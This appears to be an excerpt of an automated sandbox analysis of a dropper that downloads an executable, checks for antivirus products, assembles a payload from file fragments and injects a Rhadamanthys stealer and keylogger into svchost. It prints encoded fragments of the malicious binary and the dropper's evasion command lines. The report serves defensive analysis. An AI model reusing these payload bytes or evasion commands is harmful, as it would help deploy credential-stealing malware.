10000TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABBe9FrBRq/OAUavzgFGr84DGI8OAYavzgMYiw4FBq/OAUavjipGr84HocVOAkavzgehyU4BBq/OB6H
2024-12-19 08:29:15 UTC	14994	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-19 08:29:15 UTC	16384	IN	Data Raw: 57 77 6b 45 49 4d 4e 6a 4f 74 48 41 50 2f 6f 61 78 34 41 41 47 6f 42 69 55 51 6b 48 4f 67 62 4a 67 41 41 36 49 6a 39 2f 2f 2f 2f 46 63 53 53 51 41 41 35 62 43 51 51 44 34 54 74 41 41 41 41 61 42 41 41 49 41 44 2f 64 43 51 55 36 4c 45 68 41 41 42 71 41 76 38 56 70 4a 42 41 41 47 67 49 6f 6b 41 41 55 2b 67 6a 4a 51 41 41 76 72 69 77 54 51 42 57 55 2f 38 56 47 4a 46 41 41 49 58 41 64 4c 6c 56 55 2f 38 56 68 4a 42 41 41 46 50 2f 46 58 69 51 51 41 42 6d 4f 53 32 6f 4d 45 30 41 64 51 74 57 61 4b 67 77 54 51 44 6f 30 79 51 41 41 50 39 30 4a 42 78 6f 41 50 42 48 41 4f 6a 46 4a 41 41 41 61 41 53 69 51 41 42 6f 43 44 42 49 41 4f 69 32 4a 41 41 41 61 68 70 66 76 6b 44 64 51 77 43 68 76 4f 70 48 41 50 2b 77 49 41 45 41 41 46 62 6f 6d 53 77 41 41 46 62 2f 46 58 43 52 Data Ascii: WwkEIMNjOtHAP/oax4AAGoBiUQkHOgbJgAA6Ij9////FcSSQAA5bCQQD4TtAAAAaBAAIAD/dCQU6LEhAABqAv8VpJBAAGgIokAAU+gjJQAAvriwTQBWU/8VGJFAAIXAdLlVU/8VhJBAAFP/FXiQQABmOS2oME0AdQtWaKgwTQDo0yQAAP90JBxoAPBHAOjFJAAAaASiQABoCDBIAOi2JAAAahpfvkDdQwChvOpHAP+wIAEAAFbomSwAAFb/FXCR
2024-12-19 08:29:15 UTC	16384	IN	Data Raw: 42 77 7a 37 62 34 41 42 41 41 41 4f 2f 31 30 4b 57 6f 42 56 56 66 6f 69 66 50 2f 2f 31 44 2f 46 62 79 51 51 41 42 57 55 31 66 2f 46 57 79 51 51 41 41 37 78 51 2b 45 67 77 45 41 41 44 76 47 44 34 39 37 41 51 41 41 56 72 39 34 74 45 59 41 56 2f 39 30 4a 43 44 2f 46 57 79 51 51 41 41 37 78 51 2b 45 59 67 45 41 41 44 76 47 44 34 39 61 41 51 41 41 56 56 56 57 61 43 42 6d 52 67 42 71 2f 31 4f 4c 48 55 69 52 51 41 42 56 56 66 2f 54 68 63 41 50 68 44 30 42 41 41 42 56 56 56 61 2b 63 47 78 47 41 46 5a 71 2f 31 64 56 56 66 2f 54 68 63 41 50 68 43 55 42 41 41 42 57 61 43 42 6d 52 67 42 6f 67 4b 68 41 41 47 68 77 63 45 59 41 2f 78 55 6f 6b 6b 41 41 67 38 51 51 69 39 69 68 76 4f 70 48 41 50 2b 77 4b 41 45 41 41 46 66 6f 6e 50 7a 2f 2f 32 6f 45 61 41 41 41 41 4d 42 58 Data Ascii: Bwz7b4ABAAAO/10KWoBVVfoifP//1D/FbyQQABWU1f/FWyQQAA7xQ+EgwEAADvGD497AQAAVr94tEYAV/90JCD/FWyQQAA7xQ+EYgEAADvGD49aAQAAVVVWaCBmRgBq/1OLHUiRQABVVf/ThcAPhD0BAABVVVa+cGxGAFZq/1dVVf/ThcAPhCUBAABWaCBmRgBogKhAAGhwcEYA/xUokkAAg8QQi9ihvOpHAP+wKAEAAFfonPz//2oEaAAAAMBX
2024-12-19 08:29:15 UTC	16384	IN	Data Raw: 46 51 41 58 77 42 44 41 45 38 41 54 67 42 47 41 45 6b 41 52 77 41 41 41 45 67 41 53 77 42 46 41 46 6b 41 58 77 42 51 41 45 55 41 55 67 42 47 41 45 38 41 55 67 42 4e 41 45 45 41 54 67 42 44 41 45 55 41 58 77 42 45 41 45 45 41 56 41 42 42 41 41 41 41 53 41 42 4c 41 45 55 41 57 51 42 66 41 46 55 41 55 77 42 46 41 46 49 41 55 77 41 41 41 41 41 41 53 41 42 4c 41 45 55 41 57 51 42 66 41 45 77 41 54 77 42 44 41 45 45 41 54 41 42 66 41 45 30 41 51 51 42 44 41 45 67 41 53 51 42 4f 41 45 55 41 41 41 41 41 41 45 67 41 53 77 42 46 41 46 6b 41 58 77 42 44 41 46 55 41 55 67 42 53 41 45 55 41 54 67 42 55 41 46 38 41 56 51 42 54 41 45 55 41 55 67 41 41 41 45 67 41 53 77 42 46 41 46 6b 41 58 77 42 44 41 45 77 41 51 51 42 54 41 46 4d 41 52 51 42 54 41 46 38 41 55 67 42 50 Data Ascii: FQAXwBDAE8ATgBGAEkARwAAAEgASwBFAFkAXwBQAEUAUgBGAE8AUgBNAEEATgBDAEUAXwBEAEEAVABBAAAASABLAEUAWQBfAFUAUwBFAFIAUwAAAAAASABLAEUAWQBfAEwATwBDAEEATABfAE0AQQBDAEgASQBOAEUAAAAAAEgASwBFAFkAXwBDAFUAUgBSAEUATgBUAF8AVQBTAEUAUgAAAEgASwBFAFkAXwBDAEwAQQBTAFMARQBTAF8AUgBP
2024-12-19 08:29:15 UTC	16384	IN	Data Raw: 56 69 4c 33 73 5a 48 36 4b 6d 39 68 38 37 79 71 32 69 39 66 51 47 4e 56 38 36 67 2f 76 79 6e 36 44 2f 2f 4a 32 6a 2f 34 48 39 43 79 77 66 2f 69 6c 7a 68 62 5a 4b 2f 4b 39 49 30 38 5a 53 6c 6e 7a 56 65 79 33 6f 35 51 6d 6d 6c 77 31 62 61 77 4b 77 51 7a 52 58 57 32 59 79 52 30 47 72 46 34 32 6b 42 6c 54 59 63 46 46 78 34 50 4f 50 42 49 64 46 43 32 4e 47 73 56 7a 72 75 35 65 79 45 58 44 50 66 49 39 59 49 6a 47 4d 35 6f 6e 39 46 79 45 49 36 4c 50 68 48 4d 4f 31 53 4d 6b 75 5a 6b 64 5a 2b 5a 71 36 63 54 48 30 41 65 55 73 66 73 6f 54 6a 69 56 48 43 73 72 59 4a 69 5a 46 4b 54 4a 6e 61 6b 61 64 63 54 4f 6e 6f 55 44 36 66 70 6f 55 48 61 2b 48 72 66 34 69 51 6d 4e 77 61 49 75 6b 62 45 62 4f 53 4c 5a 53 57 66 4a 30 77 51 7a 73 79 34 31 30 53 49 6b 78 61 65 79 51 30 Data Ascii: ViL3sZH6Km9h87yq2i9fQGNV86g/vyn6D//J2j/4H9Cywf/ilzhbZK/K9I08ZSlnzVey3o5Qmmlw1bawKwQzRXW2YyR0GrF42kBlTYcFFx4POPBIdFC2NGsVzru5eyEXDPfI9YIjGM5on9FyEI6LPhHMO1SMkuZkdZ+Zq6cTH0AeUsfsoTjiVHCsrYJiZFKTJnakadcTOnoUD6fpoUHa+Hrf4iQmNwaIukbEbOSLZSWfJ0wQzsy410SIkxaeyQ0
2024-12-19 08:29:15 UTC	16384	IN	Data Raw: 65 53 79 79 74 68 38 78 2b 35 38 39 33 73 45 52 65 63 47 54 33 52 55 69 57 67 37 54 47 61 4a 41 50 6f 72 56 78 55 6c 73 4c 45 31 6a 65 37 58 49 31 37 31 61 42 66 53 74 62 2f 37 38 4d 6b 50 30 43 77 51 76 79 4f 64 7a 4c 41 6c 4a 52 4c 77 68 47 49 31 6d 44 4f 6b 30 47 42 67 5a 77 4c 43 79 47 7a 5a 4e 50 79 4c 61 50 73 51 4d 41 2f 44 7a 4b 4e 71 78 50 56 57 33 45 48 63 62 38 4f 78 67 44 54 2f 39 2f 4c 46 45 70 6e 77 4d 47 50 74 67 43 79 59 64 77 31 68 4a 4f 71 45 68 6f 52 52 74 33 38 70 72 46 39 42 77 34 77 77 61 62 7a 49 49 52 4a 66 76 78 6b 64 6f 4c 7a 32 50 6b 64 59 79 31 76 46 4f 61 62 4e 48 68 49 34 31 39 48 64 44 32 64 5a 4b 78 37 4c 32 56 39 65 69 34 31 45 46 57 6c 6b 47 5a 49 39 75 55 6a 6d 30 49 7a 61 6d 4a 6b 4a 6f 6f 4f 37 71 51 6d 74 35 42 64 72 Data Ascii: eSyyth8x+5893sERecGT3RUiWg7TGaJAPorVxUlsLE1je7XI171aBfStb/78MkP0CwQvyOdzLAlJRLwhGI1mDOk0GBgZwLCyGzZNPyLaPsQMA/DzKNqxPVW3EHcb8OxgDT/9/LFEpnwMGPtgCyYdw1hJOqEhoRRt38prF9Bw4wwabzIIRJfvxkdoLz2PkdYy1vFOabNHhI419HdD2dZKx7L2V9ei41EFWlkGZI9uUjm0IzamJkJooO7qQmt5Bdr
2024-12-19 08:29:15 UTC	16384	IN	Data Raw: 30 4a 65 62 72 50 39 65 62 59 6e 2f 5a 58 6d 59 2f 34 43 59 75 66 2b 56 72 73 7a 2f 71 4d 48 62 2f 36 57 37 30 76 2b 61 72 73 48 70 68 5a 65 6f 30 6e 75 4d 6e 63 78 77 67 4a 4c 51 5a 6e 65 4b 31 46 39 73 66 62 31 4e 55 32 43 52 4d 44 4d 38 59 43 63 71 4c 6b 59 4b 43 67 6f 52 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 42 41 51 49 56 46 68 6b 67 66 6f 75 Data Ascii: 0JebrP9ebYn/ZXmY/4CYuf+Vrsz/qMHb/6W70v+arsHphZeo0nuMncxwgJLQZneK1F9sfb1NU2CRMDM8YCcqLkYKCgoRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAQIVFhkgfou
2024-12-19 08:29:15 UTC	16384	IN	Data Raw: 63 52 59 66 56 67 51 72 6a 30 58 37 61 73 79 44 7a 39 58 59 6e 79 58 43 79 4c 34 36 36 6a 76 6d 76 39 4f 6c 5a 52 30 73 69 2f 6f 36 6f 72 37 32 43 6e 4e 6a 41 71 76 4c 31 64 43 30 75 48 2f 75 50 72 33 68 41 39 62 65 50 45 64 6b 44 39 35 58 6d 41 4d 54 34 74 30 41 6f 7a 4a 55 6b 72 4c 68 6d 35 50 52 61 4c 44 34 2b 4b 43 74 51 62 63 5a 57 70 72 69 31 44 51 37 6e 47 30 72 74 42 48 4f 75 58 30 51 7a 32 6a 2f 5a 6d 64 77 69 67 74 42 63 6c 73 58 66 68 68 35 50 76 65 41 74 38 37 59 4d 71 6a 5a 45 2f 49 7a 73 4c 38 35 77 62 37 56 45 33 4a 38 36 45 45 4e 64 62 51 69 64 35 55 59 62 38 63 52 2b 51 71 37 76 64 4a 45 45 55 61 6b 65 6a 65 4d 63 47 4b 39 36 49 75 5a 72 4c 69 64 49 39 45 6c 65 58 6d 55 67 36 57 34 33 58 41 66 39 32 64 48 76 59 6d 47 4d 34 69 48 50 41 66 Data Ascii: cRYfVgQrj0X7asyDz9XYnyXCyL466jvmv9OlZR0si/o6or72CnNjAqvL1dC0uH/uPr3hA9bePEdkD95XmAMT4t0AozJUkrLhm5PRaLD4+KCtQbcZWpri1DQ7nG0rtBHOuX0Qz2j/ZmdwigtBclsXfhh5PveAt87YMqjZE/IzsL85wb7VE3J86EENdbQid5UYb8cR+Qq7vdJEEUakejeMcGK96IuZrLidI9EleXmUg6W43XAf92dHvYmGM4iHPAf
2024-12-19 08:29:15 UTC	16384	IN	Data Raw: 42 53 6b 43 78 6c 72 73 34 31 41 44 66 7a 33 6d 78 42 4a 75 6b 34 34 4a 51 2f 4a 33 69 59 71 68 2b 4f 65 70 4c 4e 64 51 71 31 51 73 7a 67 79 74 53 33 47 38 4c 71 73 6f 44 63 4f 78 42 42 5a 52 63 30 67 50 62 44 33 47 68 41 48 6f 49 67 50 70 4a 78 4c 36 76 4c 67 7a 6f 57 75 73 68 50 4b 6e 6e 71 4f 4d 6a 4f 33 33 7a 45 71 6c 4b 77 4c 41 6c 61 51 5a 75 62 75 35 35 2f 57 6f 50 65 2f 59 79 4d 6b 79 69 6c 69 72 6e 43 42 4b 2b 35 63 44 59 47 71 75 79 32 7a 37 41 38 6a 62 6c 44 4c 7a 73 54 2b 49 6e 70 70 42 4a 61 62 50 5a 68 67 54 4a 32 51 64 6c 4d 31 67 66 6b 64 4f 6d 72 66 41 73 4e 58 61 6f 79 6e 52 2b 61 6e 6d 47 33 38 51 31 68 77 4d 5a 5a 7a 42 4b 6c 66 4d 62 6d 5a 43 64 66 41 53 38 35 70 30 53 6f 6b 48 6d 73 33 62 6f 74 47 63 71 71 6e 36 38 68 74 51 6b 74 42 Data Ascii: BSkCxlrs41ADfz3mxBJuk44JQ/J3iYqh+OepLNdQq1QszgytS3G8LqsoDcOxBBZRc0gPbD3GhAHoIgPpJxL6vLgzoWushPKnnqOMjO33zEqlKwLAlaQZubu55/WoPe/YyMkyilirnCBK+5cDYGquy2z7A8jblDLzsT+InppBJabPZhgTJ2QdlM1gfkdOmrfAsNXaoynR+anmG38Q1hwMZZzBKlfMbmZCdfAS85p0SokHms3botGcqqn68htQktB

Target ID:	0
Start time:	03:29:10
Start date:	19/12/2024
Path:	C:\Users\user\Desktop\deb.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\deb.exe"
Imagebase:	0x7ff702020000
File size:	2'844'594 bytes
MD5 hash:	176033D9407C87DB1083366F6CC0667D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	1
Start time:	03:29:10
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	4
Start time:	03:29:17
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\downloaded_exe.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\downloaded_exe.exe"
Imagebase:	0x400000
File size:	1'301'562 bytes
MD5 hash:	22AEFDCE6474D0687748AB51F3DDE0D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 25%, ReversingLabs
Reputation:	low
Has exited:	true

Target ID:	5
Start time:	03:29:19
Start date:	19/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c copy Estimates Estimates.cmd & Estimates.cmd
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	6
Start time:	03:29:19
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	7
Start time:	03:29:21
Start date:	19/12/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0x8b0000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	8
Start time:	03:29:21
Start date:	19/12/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /I "opssvc wrsa"
Imagebase:	0xfc0000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	9
Start time:	03:29:21
Start date:	19/12/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0x8b0000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	10
Start time:	03:29:21
Start date:	19/12/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
Imagebase:	0xfc0000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	11
Start time:	03:29:22
Start date:	19/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c md 542181
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	12
Start time:	03:29:22
Start date:	19/12/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /V "exports" Fleece
Imagebase:	0xfc0000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	13
Start time:	03:29:22
Start date:	19/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c copy /b ..\Stewart + ..\Universe + ..\Ferry + ..\Namely + ..\Catholic + ..\Understanding + ..\Invalid + ..\Del + ..\Premier b
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	14
Start time:	03:29:22
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\542181\Flux.com
Wow64 process (32bit):	true
Commandline:	Flux.com b
Imagebase:	0x890000
File size:	947'288 bytes
MD5 hash:	62D09F076E6E0240548C2F837536A46A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Target ID:	15
Start time:	03:29:22
Start date:	19/12/2024
Path:	C:\Windows\SysWOW64\choice.exe
Wow64 process (32bit):	true
Commandline:	choice /d y /t 5
Imagebase:	0x4d0000
File size:	28'160 bytes
MD5 hash:	FCE0E41C87DC4ABBE976998AD26C27E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	18
Start time:	03:29:45
Start date:	19/12/2024
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\svchost.exe"
Imagebase:	0x8c0000
File size:	46'504 bytes
MD5 hash:	1ED18311E3DA35942DB37D15FA40CC5B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000012.00000003.2542694593.00000000029C0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000012.00000003.2546815827.0000000005060000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000012.00000002.2631620318.0000000002ED0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000012.00000003.2546587456.0000000004E40000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Target ID:	21
Start time:	03:29:46
Start date:	19/12/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 1916 -s 972
Imagebase:	0xd0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	22
Start time:	03:29:54
Start date:	19/12/2024
Path:	C:\Windows\System32\fontdrvhost.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\fontdrvhost.exe"
Imagebase:	0x7ff7d9200000
File size:	827'408 bytes
MD5 hash:	BBCB897697B3442657C7D6E3EDDBD25F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	24
Start time:	03:29:57
Start date:	19/12/2024
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -u -p 4196 -s 136
Imagebase:	0x7ff63cab0000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true